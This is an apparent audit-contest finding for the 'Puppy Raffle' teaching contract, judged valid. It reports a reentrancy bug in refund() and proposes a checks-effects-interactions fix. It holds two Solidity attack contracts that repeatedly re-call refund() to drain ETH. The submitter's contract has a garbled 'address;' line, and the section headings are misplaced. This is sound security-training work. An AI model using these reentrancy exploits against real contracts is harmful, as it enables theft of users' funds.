Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Critical Reentrancy Vulnerability in refund() Function

Root + Impact

Description

  • The refund() function sends ETH to the caller before updating the contract state (setting the player address to zero). This violates the checks-effects-interactions pattern and allows an attacker to recursively call refund() to drain all funds from the contract. A malicious contract can implement a fallback/receive function that calls refund() again before the first call completes, allowing multiple refunds of the same entrance fee.

// Root cause in the codebase with @> marks to highlight the relevant section
contract ReentrancyAttack {
PuppyRaffle public puppyRaffle;
uint256 public attackerIndex;
uint256 public numCalls;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
function attack() external payable {
// Enter raffle first
address;
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
// Get our index
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
// Start the reentrancy attack
puppyRaffle.refund(attackerIndex);
}
receive() external payable {
numCalls++;
if (numCalls < 10 && address(puppyRaffle).balance >= 1 ether) {
puppyRaffle.refund(attackerIndex);
}
}
}

Risk

Likelihood:

  1. Attacker enters the raffle

    • attack() calls enterRaffle, registering the attacker contract as a player.

  2. Attacker triggers a refund

    • attack() calls puppyRaffle.refund(attackerIndex).

  3. Vulnerable point (critical moment)

    • Inside refund, if PuppyRaffle:

      • sends ETH using .call{value: ...}("")

      • before marking the player as refunded / removing them / updating balances

  4. Reentrancy occurs

    • ETH is sent to the attacker contract

    • This triggers the attacker’s receive() function

    • receive() immediately calls puppyRaffle.refund(attackerIndex) again

  5. Loop continues

    • Because the raffle state wasn’t updated yet, the contract thinks:
      “This player is still eligible for a refund”

    • Funds are sent again

    • This repeats until:

      • numCalls limit is hit, or

      • PuppyRaffle balance is drained

Impact:

  • An attacker can drain the entire contract balance by exploiting the reentrancy vulnerability. This affects all participants' funds and protocol fees, potentially stealing millions in ETH depending on the contract's balance.

Proof of Concept

**🔒 Security Fix: Reentrancy Vulnerability in **

refund()

Issue:

The original implementation performed an external ETH transfer before updating internal state, making the function vulnerable to a reentrancy attack.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Recommended Mitigation

Consider adding nonReentrant as an additional defense-in-depth measure.

- remove this code
+ add this code
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ // Update state BEFORE external call
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+
+ // External call AFTER state changes
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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